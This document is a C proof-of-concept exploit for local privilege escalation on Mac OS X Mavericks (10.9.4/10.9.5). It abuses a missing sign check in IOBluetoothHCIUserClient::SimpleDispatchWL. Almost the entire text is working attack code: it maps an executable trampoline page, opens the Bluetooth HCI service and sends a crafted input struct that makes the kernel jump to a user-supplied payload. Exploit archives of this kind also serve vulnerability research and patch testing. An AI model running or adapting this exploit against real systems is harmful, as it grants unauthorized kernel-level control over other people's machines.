Apple Mac OSX (Mavericks) – ‘IOBluetoothHCIUserClient’ Privilege Escalation
/* * pwn.c, by @rpaleari and @joystick * * This PoC exploits a missing sign check in * IOBluetoothHCIUserClient::SimpleDispatchWL(). * * Tested on Mac OS X Mavericks (10.9.4/10.9.5). * * Compile with: gcc -Wall -o pwn{,.c} -framework IOKit * */ #include <stdio.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> uint64_t payload() { /* Your payload goes here. */ } int main(void) { /* Map our landing page (kernel will jump at tgt+7) */ vm_address_t tgt = 0x0000048800000000; vm_allocate(mach_task_self(), &tgt, 0x1000, 0); vm_protect(mach_task_self(), tgt, 0x1000, 0, VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE); memset((void *)tgt, 0, 0x1000); /* Prepare payload */ char *target = (char *)tgt; /* mov rax, payload */ target[7] = 0x48; target[8] = 0xb8; *((uint64_t *)(&target[9])) = (uint64_t) payload; /* jmp rax */ target[17] = 0xff; target[18] = 0xe0; printf(" [+] Payload function @ %016llx\n", (uint64_t) payload); printf(" [+] Stored trampoline @ %016llx\n", (uint64_t) tgt+7); /* Find the vulnerable service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to the vulnerable service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } printf(" [+] Opened connection to service on port: %d\n", port); /* The first 8 bytes must be 0, so we don't have to handle following parameters */ char a[] = "\x00\x00\x00\x00\x00\x00\x00\x00" /* Don't really matter for the exploit (ignored due to the 0s above) */ "\x00\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\x00\x11\x0a\x00\x00\x03\x72\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xfa\x2a\x54\xff\x7f\x00\x00\x78\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xa8\xfb\x2a\x54\xff\x7f\x00\x00\xd8\xfa\x2a\x54\xff\x7f\x00\x00\x60\x4a\xb6\x86" "\x80\xff\xff\xff" /* Index value 0xfff5b6a8 makes _sRoutines[index] point to an in-kernel memory area that contains {0x0000048800000007, N}, with 0 <= N < 8. May need to be adjusted on other Mavericks versions. */ "\xa8\xb6\xf5\xff\x80\xff\xff\xff"; printf(" [+] Launching exploit!\n"); kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) a, /* inputStruct */ sizeof(a), /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ /* Exec shell here after payload returns */ return IOServiceClose(port); } |